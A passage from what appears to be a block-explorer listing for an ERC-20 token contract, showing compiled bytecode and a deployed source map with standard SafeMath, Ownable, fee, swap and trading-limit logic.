f612eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613224565b905092915050565b5f600267ffffffffffffffff811115612ed757612ed6613eb3565b5b604051908082528060200260200182016040528015612f055781602001602082028036833780820191505090505b50905030815f81518110612f1c57612f1b613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fe49190613782565b81600181518110612ff857612ff7613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061305e30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bac565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016130c0959493929190613fc4565b5f604051808303815f87803b1580156130d7575f80fd5b505af11580156130e9573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161311e92919061401c565b60405180910390a15050565b61315630601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bac565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016131dc9695949392919061380d565b60606040518083038185885af11580156131f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061321d9190613880565b5050505050565b5f808311829061326a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613261919061330f565b60405180910390fd5b505f83856132789190613df5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156132bc5780820151818401526020810190506132a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6132e182613285565b6132eb818561328f565b93506132fb81856020860161329f565b613304816132c7565b840191505092915050565b5f6020820190508181035f83015261332781846132d7565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6133588261332f565b9050919050565b6133688161334e565b82525050565b5f6020820190506133815f83018461335f565b92915050565b5f80fd5b6133948161334e565b811461339e575f80fd5b50565b5f813590506133af8161338b565b92915050565b5f819050919050565b6133c7816133b5565b81146133d1575f80fd5b50565b5f813590506133e2816133be565b92915050565b5f80604083850312156133fe576133fd613387565b5b5f61340b858286016133a1565b925050602061341c858286016133d4565b9150509250929050565b5f8115159050919050565b61343a81613426565b82525050565b5f6020820190506134535f830184613431565b92915050565b5f819050919050565b5f61347c6134776134728461332f565b613459565b61332f565b9050919050565b5f61348d82613462565b9050919050565b5f61349e82613483565b9050919050565b6134ae81613494565b82525050565b5f6020820190506134c75f8301846134a5565b92915050565b6134d6816133b5565b82525050565b5f6020820190506134ef5f8301846134cd565b92915050565b5f805f6060848603121561350c5761350b613387565b5b5f613519868287016133a1565b935050602061352a868287016133a1565b925050604061353b868287016133d4565b9150509250925092565b5f60ff82169050919050565b61355a81613545565b82525050565b5f6020820190506135735f830184613551565b92915050565b5f6020828403121561358e5761358d613387565b5b5f61359b848285016133a1565b91505092915050565b5f6135ae8261332f565b9050919050565b6135be816135a4565b82525050565b5f6020820190506135d75f8301846135b5565b92915050565b5f80604083850312156135f3576135f2613387565b5b5f613600858286016133a1565b9250506020613611858286016133a1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061365f57607f821691505b6020821081036136725761367161361b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136ac60208361328f565b91506136b782613678565b602082019050919050565b5f6020820190508181035f8301526136d9816136a0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61373a60268361328f565b9150613745826136e0565b604082019050919050565b5f6020820190508181035f8301526137678161372e565b9050919050565b5f8151905061377c8161338b565b92915050565b5f6020828403121561379757613796613387565b5b5f6137a48482850161376e565b91505092915050565b5f6040820190506137c05f83018561335f565b6137cd602083018461335f565b9392505050565b5f819050919050565b5f6137f76137f26137ed846137d4565b613459565b6133b5565b9050919050565b613807816137dd565b82525050565b5f60c0820190506138205f83018961335f565b61382d60208301886134cd565b61383a60408301876137fe565b61384760608301866137fe565b613854608083018561335f565b61386160a08301846134cd565b979650505050505050565b5f8151905061387a816133be565b92915050565b5f805f6060848603121561389757613896613387565b5b5f6138a48682870161386c565b93505060206138b58682870161386c565b92505060406138c68682870161386c565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61392a60248361328f565b9150613935826138d0565b604082019050919050565b5f6020820190508181035f8301526139578161391e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b860228361328f565b91506139c38261395e565b604082019050919050565b5f6020820190508181035f8301526139e5816139ac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a4660258361328f565b9150613a51826139ec565b604082019050919050565b5f6020820190508181035f830152613a7381613a3a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ad460238361328f565b9150613adf82613a7a565b604082019050919050565b5f6020820190508181035f830152613b0181613ac8565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613b3c60138361328f565b9150613b4782613b08565b602082019050919050565b5f6020820190508181035f830152613b6981613b30565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f613bca60288361328f565b9150613bd582613b70565b604082019050919050565b5f6020820190508181035f830152613bf781613bbe565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f613c5860258361328f565b9150613c6382613bfe565b604082019050919050565b5f6020820190508181035f830152613c8581613c4c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613cc3826133b5565b9150613cce836133b5565b9250828203905081811115613ce657613ce5613c8c565b5b92915050565b5f613cf6826133b5565b9150613d01836133b5565b9250828201905080821115613d1957613d18613c8c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613d53601b8361328f565b9150613d5e82613d1f565b602082019050919050565b5f6020820190508181035f830152613d8081613d47565b9050919050565b5f613d91826133b5565b9150613d9c836133b5565b9250828202613daa816133b5565b91508282048414831517613dc157613dc0613c8c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613dff826133b5565b9150613e0a836133b5565b925082613e1a57613e19613dc8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e7f60218361328f565b9150613e8a82613e25565b604082019050919050565b5f6020820190508181035f830152613eac81613e73565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f3f8161334e565b82525050565b5f613f508383613f36565b60208301905092915050565b5f602082019050919050565b5f613f7282613f0d565b613f7c8185613f17565b9350613f8783613f27565b805f5b83811015613fb7578151613f9e8882613f45565b9750613fa983613f5c565b925050600181019050613f8a565b5085935050505092915050565b5f60a082019050613fd75f8301886134cd565b613fe460208301876137fe565b8181036040830152613ff68186613f68565b9050614005606083018561335f565b61401260808301846134cd565b9695505050505050565b5f60408201905061402f5f8301856134cd565b81810360208301526140418184613f68565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207a5684c9009a59fc398df8ec3b09bc16861e9994918a7cc4bc5da6e1fc547fcb64736f6c63430008140033

Deployed Bytecode Sourcemap

11600:12787:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15012:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12118:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16178:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13273:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15289:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12685:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17210:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12030:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16692:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15198:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15675:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12427:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13390:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12335:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12819:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12370:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11891:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13196:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15397:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3277:230;;;;;;;;;;;;;:::i;:::-;;23519:128;;;;;;;;;;;;;:::i;:::-;;13127:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12939:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13533:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12733:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12544:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3052:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11828:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15103:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11985:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15901:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13050:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13321:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17035:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12643:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12776:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12485:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22888:82;;;;;;;;;;;;;:::i;:::-;;13437:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12601:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15524:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12900:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3515:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12864:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23653:731;;;:::i;:::-;;13491:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15012:83;15049:13;15082:5;15075:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15012:83;:::o;12118:81::-;;;:::o;16178:161::-;16253:4;16270:39;16279:12;:10;:12::i;:::-;16293:7;16302:6;16270:8;:39::i;:::-;16327:4;16320:11;;16178:161;;;;:::o;13273:41::-;;;;;;;;;;;;;:::o;15289:100::-;15342:7;15369:12;;15362:19;;15289:100;:::o;12685:35::-;;;;:::o;17210:313::-;17308:4;17325:36;17335:6;17343:9;17354:6;17325:9;:36::i;:::-;;17372:121;17381:6;17389:12;:10;:12::i;:::-;17403:89;17441:6;17403:89;;;;;;;;;;;;;;;;;:11;:19;17415:6;17403:19;;;;;;;;;;;;;;;:33;17423:12;:10;:12::i;:::-;17403:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17372:8;:121::i;:::-;17511:4;17504:11;;17210:313;;;;;:::o;12030:81::-;;;:::o;16692:156::-;16745:7;16772:68;16817:22;16827:11;16817:9;:22::i;:::-;16772:40;16789:22;16799:11;16789:9;:22::i;:::-;16772:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;16765:75;;16692:156;:::o;15198:83::-;15239:5;15264:9;;;;;;;;;;;15257:16;;15198:83;:::o;15675:218::-;15763:4;15780:83;15789:12;:10;:12::i;:::-;15803:7;15812:50;15851:10;15812:11;:25;15824:12;:10;:12::i;:::-;15812:25;;;;;;;;;;;;;;;:34;15838:7;15812:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15780:8;:83::i;:::-;15881:4;15874:11;;15675:218;;;;:::o;12427:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13390:40::-;;;;;;;;;;;;;:::o;12335:26::-;;;;;;;;;;;;;:::o;12819:36::-;;;;:::o;12370:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;11891:87::-;;;;;;;;;;;;;:::o;13196:66::-;;;;:::o;15397:119::-;15463:7;15490:9;:18;15500:7;15490:18;;;;;;;;;;;;;;;;15483:25;;15397:119;;;:::o;3277:230::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3384:42:::1;3347:81;;3368:6;::::0;::::1;;;;;;;;3347:81;;;;;;;;;;;;3456:42;3439:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3277:230::o:0;23519:128::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;23585:12:::1;;23570;:27;;;;23627:12;;23608:16;:31;;;;23519:128::o:0;13127:61::-;;;;:::o;12939:33::-;;;;:::o;13533:41::-;;;;;;;;;;;;;:::o;12733:36::-;;;;:::o;12544:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3052:79::-;3090:7;3117:6;;;;;;;;;;;3110:13;;3052:79;:::o;11828:56::-;;;;;;;;;;;;;:::o;15103:87::-;15142:13;15175:7;15168:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15103:87;:::o;11985:32::-;;;;;;;;;;;;;:::o;15901:269::-;15994:4;16011:129;16020:12;:10;:12::i;:::-;16034:7;16043:96;16082:15;16043:96;;;;;;;;;;;;;;;;;:11;:25;16055:12;:10;:12::i;:::-;16043:25;;;;;;;;;;;;;;;:34;16069:7;16043:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;16011:8;:129::i;:::-;16158:4;16151:11;;15901:269;;;;:::o;13050:68::-;;;;:::o;13321:26::-;;;;;;;;;;;;;:::o;17035:167::-;17113:4;17130:42;17140:12;:10;:12::i;:::-;17154:9;17165:6;17130:9;:42::i;:::-;;17190:4;17183:11;;17035:167;;;;:::o;12643:35::-;;;;:::o;12776:36::-;;;;:::o;12485:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;22888:82::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;22958:4:::1;22941:14;;:21;;;;;;;;;;;;;;;;;;22888:82::o:0;13437:45::-;;;;;;;;;;;;;:::o;12601:35::-;;;;:::o;15524:143::-;15605:7;15632:11;:18;15644:5;15632:18;;;;;;;;;;;;;;;:27;15651:7;15632:27;;;;;;;;;;;;;;;;15625:34;;15524:143;;;;:::o;12900:32::-;;;;:::o;3515:244::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3624:1:::1;3604:22;;:8;:22;;::::0;3596:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3714:8;3685:38;;3706:6;::::0;::::1;;;;;;;;3685:38;;;;;;;;;;;;3743:8;3734:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3515:244:::0;:::o;12864:27::-;;;;:::o;23653:731::-;3196:12;:10;:12::i;:::-;3186:22;;:6;;;;;;;;;;:22;;;3178:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;23708:35:::1;23765:42;23708:100;;23852:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23834:56;;;23899:4;23906:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23834:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23820:11;;:110;;;;;;;;;;;;;;;;;;23959:16;23941:15;;:34;;;;;;;;;;;;;;;;;;24050:1;24041:11;23986;:26;24006:4;23986:26;;;;;;;;;;;;;;;:52;24021:15;;;;;;;;;;;23986:52;;;;;;;;;;;;;;;:66;;;;24093:4;24065:12;:25;24078:11;;;;;;;;;;;24065:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;24143:4;24108:19;:32;24128:11;;;;;;;;;;;24108:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;24189:4;24158:15;:28;24174:11;;;;;;;;;;;24158:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;24234:10;24206:17;;:39;;;;;;;;;;;;;;;;;;24256:15;;;;;;;;;;;:31;;;24295:9;24314:4;24320:24;24338:4;24320:9;:24::i;:::-;24345:1;24347::::0;24349:10:::1;24360:15;24256:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;23697:687;23653:731::o:0;13491:35::-;;;;;;;;;;;;;:::o;262:115::-;315:15;358:10;343:26;;262:115;:::o;16347:337::-;16457:1;16440:19;;:5;:19;;;16432:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16538:1;16519:21;;:7;:21;;;16511:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16622:6;16592:11;:18;16604:5;16592:18;;;;;;;;;;;;;;;:27;16611:7;16592:27;;;;;;;;;;;;;;;:36;;;;16660:7;16644:32;;16653:5;16644:32;;;16669:6;16644:32;;;;;;:::i;:::-;;;;;;;;16347:337;;;:::o;18422:1934::-;18509:4;18552:1;18534:20;;:6;:20;;;18526:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;18636:1;18615:23;;:9;:23;;;18607:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;18696:17;:25;18714:6;18696:25;;;;;;;;;;;;;;;;;;;;;;;;;18695:26;:59;;;;;18726:17;:28;18744:9;18726:28;;;;;;;;;;;;;;;;;;;;;;;;;18725:29;18695:59;18691:138;;;18779:14;;;;;;;;;;;18771:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18691:138;18844:17;:25;18862:6;18844:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;18873:17;:28;18891:9;18873:28;;;;;;;;;;;;;;;;;;;;;;;;;18844:57;18841:1508;;;18926:86;18941:6;18949:9;18960:6;18968:31;18981:6;18989:9;18968:12;:31::i;:::-;:43;;19005:6;18968:43;;;19001:1;18968:43;18926:14;:86::i;:::-;18919:93;;;;18841:1508;19052:15;:23;19068:6;19052:23;;;;;;;;;;;;;;;;;;;;;;;;;19051:24;:55;;;;;19080:15;:26;19096:9;19080:26;;;;;;;;;;;;;;;;;;;;;;;;;19079:27;19051:55;:81;;;;;19110:22;;;;;;;;;;;19051:81;19048:196;;;19171:12;;19161:6;:22;;19153:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;19048:196;19260:28;19291:24;19309:4;19291:9;:24::i;:::-;19260:55;;19330:28;19385:20;;19361;:44;;19330:75;;19426:23;:44;;;;;19454:16;;;;;;;;;;;19453:17;19426:44;:69;;;;;19475:12;:20;19488:6;19475:20;;;;;;;;;;;;;;;;;;;;;;;;;19474:21;19426:69;:94;;;;;19499:21;;;;;;;;;;;19426:94;19422:302;;;19558:25;;;;;;;;;;;19555:94;;;19629:20;;19606:43;;19555:94;19668:36;19683:20;19668:14;:36::i;:::-;19422:302;19760:53;19782:6;19760:53;;;;;;;;;;;;;;;;;:9;:17;19770:6;19760:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;19740:9;:17;19750:6;19740:17;;;;;;;;;;;;;;;:73;;;;19830:19;19853:17;:25;19871:6;19853:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;19882:17;:28;19900:9;19882:28;;;;;;;;;;;;;;;;;;;;;;;;;19853:57;19852:105;;19923:34;19931:6;19939:9;19950:6;19923:7;:34::i;:::-;19852:105;;;19914:6;19852:105;19830:127;;19977:16;;;;;;;;;;;:51;;;;;19998:19;:30;20018:9;19998:30;;;;;;;;;;;;;;;;;;;;;;;;;19997:31;19977:51;19974:197;;;20098:16;;20057:37;20082:11;20057:20;20067:9;20057;:20::i;:::-;:24;;:37;;;;:::i;:::-;:57;;20049:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;19974:197;20210:37;20235:11;20210:9;:20;20220:9;20210:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;20187:9;:20;20197:9;20187:20;;;;;;;;;;;;;;;:60;;;;20286:9;20269:40;;20278:6;20269:40;;;20297:11;20269:40;;;;;;:::i;:::-;;;;;;;;20333:4;20326:11;;;;;18422:1934;;;;;;:::o;1537:192::-;1623:7;1656:1;1651;:6;;1659:12;1643:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1683:9;1699:1;1695;:5;;;;:::i;:::-;1683:17;;1720:1;1713:8;;;1537:192;;;;;:::o;1393:136::-;1451:7;1478:43;1482:1;1485;1478:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1471:50;;1393:136;;;;:::o;1204:181::-;1262:7;1282:9;1298:1;1294;:5;;;;:::i;:::-;1282:17;;1323:1;1318;:6;;1310:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1376:1;1369:8;;;1204:181;;;;:::o;17531:264::-;17611:4;17648:11;;;;;;;;;;;17635:24;;:9;:24;;;:66;;;;;17691:10;;;;;;;;;;;17681:20;;:6;:20;;;17635:66;:108;;;;;17741:1;17723:20;;:6;:20;;;;17635:108;:152;;;;;17785:1;17765:22;;:9;:22;;;;17635:152;17628:159;;17531:264;;;;:::o;20366:382::-;20476:4;20513:54;20535:7;20513:54;;;;;;;;;;;;;;;;;:9;:17;20523:6;20513:17;;;;;;;;;;;;;;;;:21;;:54;;;;;:::i;:::-;20493:9;:17;20503:6;20493:17;;;;;;;;;;;;;;;:74;;;;20601:32;20626:6;20601:9;:20;20611:9;20601:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;20578:9;:20;20588:9;20578:20;;;;;;;;;;;;;;;:55;;;;20650:1;20639:7;:12;20635:32;;20664:3;20653:8;:14;;;;20635:32;20700:9;20683:35;;20692:6;20683:35;;;20711:6;20683:35;;;;;;:::i;:::-;;;;;;;;20736:4;20729:11;;20366:382;;;;;;:::o;20756:1452::-;14018:4;13999:16;;:23;;;;;;;;;;;;;;;;;;20828:19:::1;20850:41;20872:18;;20850:17;;:21;;:41;;;;:::i;:::-;20828:63;;20904:22;20929:39;20950:17;;20929:16;;:20;;:39;;;;:::i;:::-;20904:64;;20979:22;21004:39;21025:17;;21004:16;;:20;;:39;;;;:::i;:::-;20979:64;;21142:18;21163:51;21212:1;21163:44;21195:11;21163:27;21175:14;21163:7;:11;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;21142:72;;21225:20;21248:23;21260:10;21248:7;:11;;:23;;;;:::i;:::-;21225:46;;21284:22;21310:21;21284:47;;21342:30;21359:12;21342:16;:30::i;:::-;21383:23;21410:41;21436:14;21410:21;:25;;:41;;;;:::i;:::-;21383:68;;21464:19;21486:38;21502:21;21521:1;21502:14;:18;;:21;;;;:::i;:::-;21486:11;:15;;:38;;;;:::i;:::-;21464:60;;21537:26;21566:59;21623:1;21566:52;21606:11;21566:35;21586:14;21566:15;:19;;:35;;;;:::i;:::-;:39;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;21537:88;;21636:26;21665:66;21719:11;21665:49;21685:28;21704:8;;21685:14;:18;;:28;;;;:::i;:::-;21665:15;:19;;:49;;;;:::i;:::-;:53;;:66;;;;:::i;:::-;21636:95;;21742:26;21771:63;21815:18;21771:39;21791:18;21771:15;:19;;:39;;;;:::i;:::-;:43;;:63;;;;:::i;:::-;21742:92;;21871:1;21850:18;:22;21847:103;;;21897:11;;;;;;;;;;;21889:29;;:49;21919:18;21889:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;21847:103;21986:1;21965:18;:22;21962:102;;;22012:10;;;;;;;;;;;22004:28;;:48;22033:18;22004:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;21962:102;22109:1;22088:18;:22;:40;;;;;22127:1;22114:10;:14;22088:40;22085:116;;;22145:44;22158:10;22170:18;22145:12;:44::i;:::-;22085:116;20817:1391;;;;;;;;;;;14064:5:::0;14045:16;;:24;;;;;;;;;;;;;;;;;;20756:1452;:::o;17802:612::-;17888:7;17908:17;17928:1;17908:21;;17953:12;:20;17966:6;17953:20;;;;;;;;;;;;;;;;;;;;;;;;;17950:223;;;18002:38;18036:3;18002:29;18013:17;;18002:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17990:50;;17950:223;;;18070:12;:23;18083:9;18070:23;;;;;;;;;;;;;;;;;;;;;;;;;18067:106;;;18122:39;18157:3;18122:30;18133:18;;18122:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;18110:51;;18067:106;17950:223;18208:1;18196:9;:13;18193:173;;;18253:39;18282:9;18253;:24;18271:4;18253:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;18226:9;:24;18244:4;18226:24;;;;;;;;;;;;;;;:66;;;;18337:4;18312:42;;18321:6;18312:42;;;18344:9;18312:42;;;;;;:::i;:::-;;;;;;;;18193:173;18385:21;18396:9;18385:6;:10;;:21;;;;:::i;:::-;18378:28;;;17802:612;;;;;:::o;1737:250::-;1795:7;1824:1;1819;:6;1815:47;;1849:1;1842:8;;;;1815:47;1874:9;1890:1;1886;:5;;;;:::i;:::-;1874:17;;1919:1;1914;1910;:5;;;;:::i;:::-;:10;1902:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1978:1;1971:8;;;1737:250;;;;;:::o;1995:132::-;2053:7;2080:39;2084:1;2087;2080:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2073:46;;1995:132;;;;:::o;22208:666::-;22334:21;22372: